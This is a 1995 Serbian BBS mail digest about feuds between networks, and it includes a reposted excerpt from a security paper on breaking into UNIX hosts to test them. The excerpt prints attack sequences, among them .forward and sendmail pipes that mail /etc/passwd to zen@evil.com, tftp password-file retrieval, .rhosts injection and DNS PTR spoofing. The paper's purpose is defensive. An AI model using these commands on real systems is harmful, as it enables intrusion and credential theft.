razgovori sa tobom, i bilo je sasvim normalno da podrazumevamo da
je ta stvar u toku, a onda odjednom saznajemo da on u stvari razgovara
o povezivanju Panona u njegovu mrezu. Skrenuli smo mu paznju da takav
postupak nije kolegijalan, sto je on prihvatio. Ne vidim razloga zasto
ti potezes to pitanje, kad smo mi to sa Damirom sredili na najbolji
moguci nacin.
Ako je nas postupak kojim slucajem prouzrokovao da Damir odustane
od vaseg povezivanja u FINENet, onda moram da kazem da nam to nije
bila namera, jer mi ne mozemo da se njemu mesamo u organizaciju
njegove mreze.
... BR> Oreska BBS - SF BIBLIOTEKA - Besplatan DL
-+- OLMS 2.5 UNREG
* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1594postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Svet i Internet
Date: Wed, 16 Aug 1995 12:43:50
Evo primera sta se u svetu misli o UseNet-u i moderisanju
konferencija.
"... All of the echomail networks which offer well-hosted (or
well-moderated, whatever your favorite term might be) conferences
DO represent a "civilized" alternative to the
anarchy/flaming/noise found in quite a number of UseNet newsgroup
messages. ..."
... TAG loading error...
-+- OLMS 2.5 UNREG
* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1595postmast,
From: vecxo@galeb.etf.bg.ac.yu (Dragan D. Vecerina)
Subject: Re: email
Date: Fri, 18 Aug 1995 08:43:49 GMT
Aleksandar Vacic (aleck@sezam.UUCP) wrote:
>> Da li su ove preduboke rekurzije dovele do toga da nemam
>> dovoljno mesta ili 25%(40000 necega od 162000) prostora
>> koji mi je preostao nije dovoljan za kompajliranje tshost-a?
>> Jel moze neko da mi posalje kompajliran?
>>
Na galebu je vec davno instaliran /usr/local/bin/tshost
--
Dragan D. Vecerina
email.1596postmast,
From: enikcevv@galeb.etf.bg.ac.yu (Vladimir Nikcevic)
Subject: Re: email
Date: Sat, 19 Aug 1995 02:15:59 GMT
Article <sezam$email:01.050.3823@sezam>,
"Aleksandar Vacic" <aleck@sezam.UUCP> :
> >&> Na Galebu je tshost smesten u local/bin, ne moras da
> >&> kompajliras.
>
> E da sam znao onda ne bi...ma,beh...Thanks.
Sto ce reci, mozes da odradis simbolicki link (ln -s) tog tshost-a ka
.../etf/aleck/tshost
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Nikcevic Vladimir, dipl-Ing.
Masinski Fakultet Beograd <enikcevv@ubbg.etf.bg.ac.yu>
______________________________________________________________________________
email.1597postmast,
From: vladap@durlan.co.yu (Vladap)
Subject: Ko razume - bice mu jasno... 1/7
Date: Sat, 19 Aug 1995 11:54:00 CET
QWK To: All
Ko ---ovo-- razume - bice mu jasno....
Introduction
------------
Every day, all over the world, computer networks and hosts are being
broken into. The level of sophistication of these attacks varies
widely; while it is generally believed that most break-ins succeed due
to weak passwords, there are still a large number of intrusions that use
more advanced techniques to break in. Less is known about the latter
types of break-ins, because by their very nature they are much harder to
detect.
-----
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. You name it, we've seen it broken into. Anything that is
on the Internet (and many that isn't) seems to be fairly easy game. Are
these targets unusual? What happened?
Fade to...
A young boy, with greasy blonde hair, sitting in a dark room. The room
is illuminated only by the luminescense of the C64's 40 character
screen. Taking another long drag from his Benson and Hedges cigarette,
the weary system cracker telnets to the next faceless ".mil" site on his
hit list. "guest -- guest", "root -- root", and "system -- manager" all
fail. No matter. He has all night... he pencils the host off of his
list, and tiredly types in the next potential victim...
This seems to be the popular image of a system cracker. Young,
inexperienced, and possessing vast quantities of time to waste, to get
into just one more system. However, there is a far more dangerous type
of system cracker out there. One who knows the ins and outs of the
latest security auditing and cracking tools, who can modify them for
specific attacks, and who can write his/her own programs. One who not
only reads about the latest security holes, but also personally
discovers bugs and vulnerabilities. A deadly creature that can both
strike poisonously and hide its tracks without a whisper or hint of a
trail. The uebercracker is here.
-----
Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
uebermensch, or, literally translated into English, "over man."
Nietzsche used the term not to refer to a comic book superman, but
instead a man who had gone beyond the incompetence, pettiness, and
weakness of the everyday man. The uebercracker is therefore the system
cracker who has gone beyond simple cookbook methods of breaking into
systems. An uebercracker is not usually motivated to perform random
acts of violence. Targets are not arbitrary -- there is a purpose,
whether it be personal monetary gain, a hit and run raid for
information, or a challenge to strike a major or prestigious site or
net.personality. An uebercracker is hard to detect, harder to stop, and
hardest to keep out of your site for good.
Overview
--------
In this paper we will take an unusual approach to system security.
Instead of merely saying that something is a problem, we will look
through the eyes of a potential intruder, and show _why_ it is one. We
will illustrate that even seemingly harmless network services can become
valuable tools in the search for weak points of a system, even when
these services are operating exactly as they are intended to.
In an effort to shed some light on how more advanced intrusions occur,
this paper outlines various mechanisms that crackers have actually used
to obtain access to systems and, in addition, some techniques we either
suspect intruders of using, or that we have used ourselves in tests or
in friendly/authorized environments.
Our motivation for writing this paper is that system administrators are
often unaware of the dangers presented by anything beyond the most
trivial attacks. While it is widely known that the proper level of
protection depends on what has to be protected, many sites appear to
lack the resources to assess what level of host and network security is
adequate. By showing what intruders can do to gain access to a remote
site, we are trying to help system administrators to make _informed_
decisions on how to secure their site -- or not. We will limit the
discussion to techniques that can give a remote intruder access to a
(possibly non-interactive) shell process on a UNIX host. Once this is
achieved, the details of obtaining root privilege are beyond the scope
of this work -- we consider them too site-dependent and, in many cases,
too trivial to merit much discussion.
We want to stress that we will not merely run down a list of bugs or
security holes -- there will always be new ones for a potential attacker
to exploit. The purpose of this paper is to try to get the reader to
look at her or his system in a new way -- one that will hopefully afford
him or her the opportunity to _understand_ how their system can be
compromised, and how.
We would also like to reiterate to the reader that the purpose of this
paper is to show you how to test the security of your own site, not how
to break into other people's systems. The intrusion techniques we
illustrate here will often leave traces in your system auditing logs --
it might be constructive to examine them after trying some of these
attacks out, to see what a real attack might look like. Certainly other
sites and system administrators will take a very dim view of your
activities if you decide to use their hosts for security testing without
advance authorization; indeed, it is quite possible that legal action
may be pursued against you if they perceive it as an attack.
There are four main parts to the paper. The first part is the
introduction and overview. The second part attempts to give the reader
a feel for what it is like to be an intruder and how to go from knowing
nothing about a system to compromising its security. This section goes
over actual techniques to gain information and entrance and covers basic
strategies such as exploiting trust and abusing improperly configured
basic network services (ftp, mail, tftp, etc.) It also discusses
slightly more advanced topics, such as NIS and NFS, as well as various
common bugs and configuration problems that are somewhat more OS or
system specific. Defensive strategies against each of the various
attacks are also covered here.
The third section deals with trust: how the security of one system
depends on the integrity of other systems. Trust is the most complex
subject in this paper, and for the sake of brevity we will limit the
discussion to clients in disguise.
The fourth section covers the basic steps that a system administrator
may take to protect her or his system. Most of the methods presented
here are merely common sense, but they are often ignored in practice --
one of our goals is to show just how dangerous it can be to ignore basic
security practices.
Case studies, pointers to security-related information, and software are
described in the appendices at the end of the paper.
While exploring the methods and strategies discussed in this paper we we
wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
shell, perl, expect and C, it examines a remote host or set of hosts and
gathers as much information as possible by remotely probing NIS, finger,
NFS, ftp and tftp, rexd, and other services. This information includes
the presence of various network information services as well as
potential security flaws -- usually in the form of incorrectly setup or
configured network services, well-known bugs in system or network
utilities, or poor or ignorant policy decisions. It then can either
report on this data or use an expert system to further investigate any
potential security problems. While SATAN doesn't use all of the methods
that we discuss in the paper, it has succeeded with ominous regularity
in finding serious holes in the security of Internet sites. It will be
posted and made available via anonymous ftp when completed; Appendix A
covers its salient features.
Note that it isn't possible to cover all possible methods of breaking
into systems in a single paper. Indeed, we won't cover two of the most
effective methods of breaking into hosts: social engineering and
password cracking. The latter method is so effective, however, that
several of the strategies presented here are geared towards acquiring
password files. In addition, while windowing systems (X, OpenWindows,
etc.) can provide a fertile ground for exploitation, we simply don't
know many methods that are used to break into remote systems. Many
system crackers use non-bitmapped terminals which can prevent them from
using some of the more interesting methods to exploit windowing systems
effectively (although being able to monitor the victim's keyboard is
often sufficient to capture passwords). Finally, while worms, viruses,
trojan horses, and other malware are very interesting, they are not
common (on UNIX systems) and probably will use similar techniques to the
ones we describe in this paper as individual parts to their attack
strategy.
-----[ Nastavak u sledecoj poruci... ] --------
#! rnews 7687
email.1598postmast,
From: vladap@durlan.co.yu (Vladap)
Subject: Ko razume - bice mu jasno... 3/7
Date: Sat, 19 Aug 1995 11:58:00 CET
QWK To: All
------------[ Nastavak predhodne poruke ]----------------
What now? Have you uncovered all the holes on your target system? Not
by a long shot. Going back to the finger results on your target, you
notice that it has an "ftp" account, which usually means that anonymous
ftp is enabled. Anonymous ftp can be an easy way to get access, as it
is often misconfigured. For example, the target may have a complete
copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
instead of a stripped down version. In this example, though, you see
that the latter doesn't seem to be true (how can you tell without
actually examining the file?) However, the home directory of ftp on
victim.com is writable. This allows you to remotely execute a command
-- in this case, mailing the password file back to yourself -- by the
simple method of creating a .forward file that executes a command when
mail is sent to the ftp account. This is the same mechanism of piping
mail to a program that the "vacation" program uses to automatically
reply to mail messages.
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Now you simply wait for the password file to be sent back to you.
The security auditing tool COPS will check your anonymous ftp setup; see
the man page for ftpd, the documentation/code for COPS, or CERT advisory
93:10 for information on how to set up anonymous ftp correctly.
Vulnerabilities in ftp are often a matter of incorrect ownership or
permissions of key files or directories. At the very least, make sure
that ~ftp and all "system" directories and files below ~ftp are owned by
root and are not writable by any user.
While looking at ftp, you can check for an older bug that was once
widely exploited:
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
If this works, you now are logged in as root, and able to modify the
password file, or whatever you desire. If your system exhibits this
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.
The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem. If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.
Finally, there is a program vaguely similar to ftp -- tftp, or the
trivial file transfer program. This daemon doesn't require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
For security's sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
program.
----
If none of the previous methods have worked, it is time to go on to more
drastic measures. You have a friend in rpcinfo, another very handy
program, sometimes even more useful than finger. Many hosts run RPC
services that can be exploited; rpcinfo can talk to the portmapper and
show you the way. It can tell you if the host is running NIS, if it is
a NIS server or slave, if a diskless workstation is around, if it is
running NFS, any of the info services (rusersd, rstatd, etc.), or any
other unusual programs (auditing or security related). For instance,
going back to our sample target:
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
In this case, you can see several significant facts about our target;
first of which is that it is an NIS server. It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
subnet served by the NIS server (for example, using the YPX program that
can be found in the comp.sources.misc archives on ftp.uu.net). In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames. Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g. "victim" and "victim.com"), the organization
name, netgroup names in "showmount" output, and so on. If you wanted to
guess that the domainname was "victim", you could type:
evil % ypwhich -d victim victim.com
Domain victim not bound.
This was an unsuccessful attempt; if you had guessed correctly it would
have returned with the host name of victim.com's NIS server. However,
note from the NFS section that victim.com is exporting the "/var"
directory to the world. All that is needed is to mount this directory
and look in the "yp" subdirectory -- among other things you will see
another subdirectory that contains the domainname of the target.
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email.1599postmast,
From: vladap@durlan.co.yu (Vladap)
Subject: Ko razume - bice mu jasno... 5/7
Date: Sat, 19 Aug 1995 11:59:00 CET
QWK To: All
-------------[ Nastavak predhodne poruke ]-------------
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
X terminals, though much less powerful than a complete UNIX system, can
have their own security problems. Many X terminals permit unrestricted
rsh access, allowing you to start X client programs in the victim's
terminal with the output appearing on your own screen:
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
In any case, give as much thought to your window security as your
filesystem and network utilities, for it can compromise your system as
surely as a "+" in your hosts.equiv or a passwordless (root) account.
----
Next, you examine sendmail. Sendmail is a very complex program that has
a long history of security problems, including the infamous "wiz"
command (hopefully long since disabled on all machines). You can often
determine the OS, sometimes down to the version number, of the target,
by looking at the version number returned by sendmail. This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs. In addition, you can see if they run the "decode" alias,
which has its own set of problems:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93
18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Running the "decode" alias is a security risk -- it allows potential
attackers to overwrite any file that is writable by the owner of that
alias -- often daemon, but potentially any user. Consider this piece of
mail -- this will place "evil.com" in user zen's .rhosts file if it is
writable:
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail
decode@victim.com
If no home directories are known or writable, an interesting variation
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target. This may work
since on many systems the aliases.pag and aliases.dir files, which
control the system's mail aliases, are writable to the world.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
A lot of things can be found out by just asking sendmail if an address
is acceptable (vrfy), or what an address expands to (expn). When the
finger or rusers services are turned off, vrfy and expn can still be
used to identify user accounts or targets. Vrfy and expn can also be
used to find out if the user is piping mail through any program that
might be exploited (e.g. vacation, mail sorters, etc.). It can be a
good idea to disable the vrfy and expn commands: in most versions, look
at the source file srvrsmtp.c, and either delete or change the two lines
in the CmdTab structure that have the strings "vrfy" and "expn". Sites
without source can still disable expn and vrfy by just editing the
sendmail executable with a binary editor and replacing "vrfy" and "expn"
with blanks. Acquiring a recent version of sendmail (see Appendix D) is
also an extremely good idea, since there have probably been more
security bugs reported in sendmail than in any other UNIX program.
----
As a sendmail-sendoff, there are two fairly well known bugs that should
be checked into. The first was definitely fixed in version 5.59 from
Berkeley; despite the messages below, for versions of sendmail previous
to 5.59, the "evil.com" gets appended, despite the error messages, along
with all of the typical mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
The second hole, fixed only recently, permitted anyone to specify
arbitrary shell commands and/or pathnames for the sender and/or
destination address. Attempts to keep details secret were in vain, and
extensive discussions in mailing lists and usenet news groups led to
disclosure of how to exploit some versions of the bug. As with many
UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
since they all share a common source code tree ancestry. Space
precludes us from discussing it fully, but a typical attack to get the
password file might look like this:
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
At the time of writing, version 8.6.4 of sendmail (see Appendix D for
information on how to get this) is reportedly the only variant of
sendmail with all of the recent security bugs fixed.
Trust
-----
For our final topic of vulnerability, we'll digress from the practical
strategy we've followed previously to go a bit more into the theoretical
side, and briefly discuss the notion of trust. The issues and
implications of vulnerabilities here are a bit more subtle and
far-reaching than what we've covered before; in the context of this
paper we use the word trust whenever there is a situation when a server
(note that any host that allows remote access can be called a server)
can permit a local resource to be used by a client without password
authentication when password authentication is normally required. In
other words, we arbitrarily limit the discussion to clients in disguise.
There are many ways that a host can trust: .rhosts and hosts.equiv files
that allow access without password verification; window servers that
allow remote systems to use and abuse privileges; export files that
control access via NFS, and more.
Nearly all of these rely on client IP address to hostname conversion to
determine whether or not service is to be granted. The simplest method
uses the /etc/hosts file for a direct lookup. However, today most hosts
use either DNS (the Domain Name Service), NIS, or both for name lookup
service. A reverse lookup occurs when a server has an IP address (from
a client host connecting to it) and wishes to get the corresponding
client hostname.
Although the concept of how host trust works is well understood by most
system administrators, the _dangers_ of trust, and the _practical_
problem it represents, irrespective of hostname impersonation, is one of
the least understood problems we know of on the Internet. This goes far
beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
systems -- indeed, much of the useful services in UNIX are based on the
concept that well known (to an administrator or user) sites are trusted
in some way. What is not understood is how networking so tightly binds
security between what are normally considered disjoint hosts.
Any form of trust can be spoofed, fooled, or subverted, especially when
the authority that gets queried to check the credentials of the client
is either outside of the server's administrative domain, or when the
trust mechanism is based on something that has a weak form of
authentication; both are usually the case.
Obviously, if the host containing the database (either NIS, DNS, or
whatever) has been compromised, the intruder can convince the target
host that s/he is coming from any trusted host; it is now sufficient to
find out which hosts are trusted by the target. This task is often
greatly helped by examining where system administrators and system
accounts (such as root, etc.) last logged in from. Going back to our
target, victim.com, you note that root and some other system accounts
logged in from big.victim.com. You change the PTR record for evil.com so
that when you attempt to rlogin in from evil.com to victim.com,
victim.com will attempt to look up your hostname and will find what you
placed in the record. If the record in the DNS database looks like:
1.192.192.192.in-addr.arpa IN PTR evil.com
And you change it to:
1.192.192.192.in-addr.arpa IN PTR big.victim.com
then, depending on how naive victim.com's system software is, victim.com
will believe the login comes from big.victim.com, and, assuming that
big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
able to login without supplying a password. With NIS, it is a simple
matter of either editing the host database on the NIS master (if this is
controlled by the intruder) or of spoofing or forcing NIS (see
discussion on NIS security above) to supply the target with whatever
information you desire. Although more complex, interesting, and
damaging attacks can be mounted via DNS, time and space don't allow
coverage of these methods here.
Two methods can be used to prevent such attacks. The first is the most
direct, but perhaps the most impractical. If your site doesn't use any
trust, you won't be as vulnerable to host spoofing. The other strategy
is to use cryptographic protocols. Using the secure RPC protocol (used
in secure NFS, NIS+, etc.) is one method; although it has been "broken"
cryptographically, it still provides better assurance than RPC
authentication schemes that do not use any form of encryption. Other
solutions, both hardware (smartcards) and software (Kerberos), are being
developed, but they are either incomplete or require changes to system
software.
Appendix B details the results of an informal survey taken from a
variety of hosts on the Internet.
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email.1600postmast,
From: vladap@durlan.co.yu (Vladap)
Subject: Ko razume - bice mu jasno... 7/7
Date: Sat, 19 Aug 1995 12:01:00 CET
QWK To: All
--------------[ Nastavak predhodne poruke ]-------------
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review
22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
1993.
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Protocal", Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
27 (8), 1984.
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email.1601postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Demokratija & SETNet
Date: Thu, 17 Aug 1995 08:17:00
>Znaci ja mogu oglase koje ste vi skupili da prodajem kome ja
>hocu i da
>vam za to nedam ni dinara, pod uslovom da ih vide i svi ostali
>korisnici...,
>pa to je bio glavni problem.
Pa, nesto u tom stilu.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1602postmast,
From: spop@setnet.co.yu (Slobodan Popovic)
Subject: XWinDemo
Date: Thu, 17 Aug 1995 16:30:00
Da li je iko uspeo da potera XWinDemo preko TwinSocka? Ako je iko
uspeo, sta treba uraditi?
... Dve stvari sigurno ne postoje - lepi zatvori i ruzne ljubavi.
* Origin: SETNet - Belgrade HUB 1 (38:103/1)
email.1603postmast,
From: jalex@setnet.co.yu (Aleksandar Jankovic)
Subject: Novi nalozi
Date: Thu, 17 Aug 1995 12:16:00
U originalnoj poruci od 08-15-95 u 14:36 VOJISLAV MIHAILOVIC kaze :
VM -->Pa i nije, bar na SET-u. Tu se ne dozvoljavaju potpisi duzi od 3 reda,
VM -->mada tvoj (potpis;)) nije duzi.
VM -->Inace, nadam se sto se neljuti sto sam te nazvao Weird Alex ;)) Uostalom?
VM -->Sta fali? Zamisli da ti je username na Internetu
VM -->weird.jalex@xxx.xxx.xxx
VM -->Mocno, zar ne!
Ali i uvredljivo.
jalex@setnet.co.yu
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email.1604postmast,
From: vojam@setnet.co.yu (Vojislav Mihailovic)
Subject: Cut.religion
Date: Thu, 17 Aug 1995 14:19:01
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
SM> Newsgroups: yu.net.email
SM> Organization: DurLAN BBS * Nis * +381 (0)18 713836
SM> QWK To: Predrag Supurovic
SM> Stvar je u tome sto u slucaju NET.RELIGION niko nije iskakao iz
SM> okvira konferencije. To je bila stvar licnog shvatanja izvesnog
SM> "organa", a ne krsenje opste prihvacenh normi ponasanja. Dokaz
SM> je i to sto je SAMO odredjeni "organ" penio, pravio buku i nered
SM> u konferenciji, ostali se nisu zalili...
Kako mozes tako nesto da kazes?
Bilo je i poruka tipa 'Katolici su koljaci, vidite sta su uradili u Bosni u II
svetskom ratu', onda 'Vi koji verujete u Boga ste glupi', onda 'Sta piskarate
tu hriscansku teoriju kad je to glupost u koju niko ne veruje' i sve tako.
Da sam ja bio taj odredjeni 'organ' zapenio bih jos mnogo vise.
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1605postmast,
From: vojam@setnet.co.yu (Vojislav Mihailovic)
Subject: Who is the best?
Date: Thu, 17 Aug 1995 14:23:02
SM> Origin.SUBJ: Demokratija & SETNet
SM> Origin.FROM: Predrag Supurovic
SM> Origin.TO : Sloba Markovic
SM> SM> Pa, ako ne racunamo BBLink (koji ste ti i alenin prilicno sje*ali)
SM> PS> Oho, sad smo jos mi krivi sto su ljudi, jedan po jedan napustali
SM> PS> te mreze. Sta mozemo, samo smo se trudili da svoju napravimo
SM> PS> sto boljom... e sad sto se ljudima to svidelo pa su nam se
SM> PS> pridruzivali, sta mozemo...
SM> Posedujem poruke iz konferencije NET.SYSOPS koje bas i ne govore
SM> u prilog tome. Bolje ti je da cutis, ako pustim poruku samo ces
SM> se iskompromitovati...
Zasto vec jednom ne 'pustis' te poruke o kojima stalno pricas, pada konacno
svi vide o cemu se radi?
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email.1606postmast,
From: Aleksandar.Ninkovic@f121.n103.z38.setnet.setnet.co.yu (Aleksandar Ninkovic)
Subject: Demokratija & Mreze
Date: Sun, 23 Jul 1995 21:29:00
* Origin: AV Manta, Beograd - Mail Server - SETNet (38:103/121)
email.1607postmast,
From: dragon@setnet.co.yu (Dragan Miljkovic)
Subject: Demokratija & SETNet
Date: Thu, 17 Aug 1995 19:56:03
DM>>>Zao mi je sto se tebi to ne svidja, ali tako je bilo.
DM>>> MP> i onda je tu palo mozda malo
DM>>> MP> tezih reci sa obe strane neko se uvredio, i zbog toga odustao, a ne
DM>>> MP> zbog suma.
DM>>>Decko, sa moje strane nije bilo teskih reci. Zapravo nisam nista hteo da
DM>>>kazem zato sto je tu bilo ljudi koje sam i cenio, jednostavno sam rekao
DM>>>da mi je dosta ....
MP> Kazem ja da meni ne smetaju ni ljudi ni SETNET, nego taj nadmeni ton
MP> pripadnika organizacije.
Da li ti je palo napamet da se ljudi ponasaju prema tebi onako kako se
ti ponasas prema njima?
-¨Dragon¨-
... A crises is when you CAN'T say let's forget about the whole thing!
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email.1608postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Ostale mreze i SETNet
Date: Fri, 18 Aug 1995 17:13:29
PS>Cek, sta ja tu mogu? Covek je izneo tvrdnju a ja sam rekao da ta tvrdnja
PS>nije tacna. Ako je ispao lazov to je njegov problem, ne moj.
ZD> Vidis sad mi je zao sto nisam pustio coveka (postovao pravilo
ZD> demokratije) da Vam saspe sve poruke na tu temu, pa da se vidi ciji je
ZD> problem. Ako i dalje mislis da budes neki faktor u toj mrezi moraces
ZD> da se naucis nekog reda. A to je sledece da ne budes tvrdoglav tamo gde
ZD> ne treba, dovoljno je bilo da precutis, ovako stalno provociras i
ZD> izazivas netrpeljivost.
Cek, po tebi, neko treba da tvrdi stvari koje ne stoje a ja treba to
da precutim da ne izazivam netrpeljivost? Pa ko u stvari provocira i
izaziva netrpeljivost? Zajedljivost mogu da precutim, ali ne i tvrdnje
koje ne stoje.
ZD> Nisam potegao ja to pitanje vec Ti sa tvojom tvrdnjom da ne utices na
ZD> druge bbs-ove ako se povezuju sa drugima. Kao sto znas to je bilo sad
ZD> vec davno i da sam hteo da se svadjam ili potezem pitanje napisao bih
ZD> to ranije mnogo. To sto ste vi "sredili sa njim" uopste ne utice na to
ZD> da mi ne razmenjujemo postu. Znaci dobio si sta si hteo, izgubili su
ZD> korisnici u koje se kunes. Kad kazem korisnik mislim na sve korisnike
A ti pogresno povezujes stvari. Damir je lepo rekao da postu sa vama ne
razmenjuje samo zato sto su mu ti troskovi preveliki, a ne zato sto
mu je neko iz SETNet-a zabranio da to radi. SLucajno se pogodilo da je
njegovo odustajanje od razmene bilo u isto vreme kada i nasa diskusija
u NET.SYSOPS. Cak mi se cini da je on jos u toj diskusiji rekao da
postu ne razmenjuje sa Panonom upravo iz razloga telefonskih troskova,
sto bi znacilo da je on to odlucio pre nego sto smo mi uopste pokrenuli
temu.
ZD> materijalna, obrati paznju na I ) Postupam profesionalno koliko mi
ZD> mogucnosti dozvoljavaju i sad treba da se sa tobom prepucavam ko je
ZD> sta rekao a i ja i ti znamo ko je sta rekao. Meni nije bitno za posao
Ocigledno ne znamo sve.
ZD> odjednom ima i to je bilo oduvek tu samo ja nisam znao. Posaljem
ZD> poruku da hocu da se povezem (ne da udjem u SetNet) ti mi posaljes
ZD> poruku da posaljem prijavu na razmatranje. Dogovor boli glava usi
ZD> otpadaju. Vrlo ozbiljno, nema vremena ni zivaca a ni posebnog interesa
ZD> da se igram zmurke.
A sta hoces da ti odgovorim? Kod nas je osnova za razgovor o
povezivanju ta prijava. U njoj izmedju ostalog dobijamo i podatke
koje konferencije zelis da razmenjujes. Na osnovu te prijave ja
predlazem Savetu povezivanje i ako Savet odobri, povezan si.
Kratko i efikasno. To je uobicajena procedura. Prethodno sam vam
rekao da je povezivanje pod uslovima koje ste naveli moguce i da
samo treba da mi posaljete prijavu. Sta sam jos trebao da uradim?
ZD> stisne del. Naneli ste stetu vasim takmicenjem ko je najveca mreza u
ZD> Yu celoj zajednici, na zalost trebalo je da bude suprotno a imate
ZD> mogucnosti za suprotno. Stvarno sam ocekivao malo vise fleksibilnosti
Aman... mi se nikad nismo nadmetali oko toga ko je najveci. Stalno se
neko sa nama nadmece i napada zbog toga a meni nije jasno zasto. Mi
jesmo najveci i sasvim je logicno da se time hvalimo, ali nikad nismo
insistirali na tome, jer nemamo potrebe.
... BR> Biti ili ne biti...da bacimo novcic?
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email.1609postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: sasvim obican
Date: Fri, 18 Aug 1995 17:13:30
ZD> drugacije a mislis cim si mi poslao onu poruku da Vam saljem spisak sta
ZD> mene interesuje a sta Vas moze da interesuje (otkud ja znam sta vas
ZD> moze da interesuje, dodjes i vidis pa odlucis). Ocekivao sam odgovor u
ZD> stilu to moze to ne moze pod tim i tim uslovima. Da ne bude zabune nisi
Dobio si odgovor "Sve moze". Kud ces bolje?
PS>Da, ali je bilo ko, a pogotovo ako je administrtor, tamo korisnika bez
PS>ikakvog problema mogao da nazove dzukelom, na primer... I jos da dobije
PS>podrsku. U stvari, to je jedina stvar koja je bila stvarna razlika izmedju
PS>SETNet-a i VNet-a.
ZD> :))
ZD> Generalno gledano, bilo je mnogo razlike, jedino koja nije bila je ta
ZD> koju si upravo naveo. Ne kazem da ti covek nije rekao to sto je rekao
ZD> ali nije bilo dozvoljeno i podrzano, kao sto ti kazes.
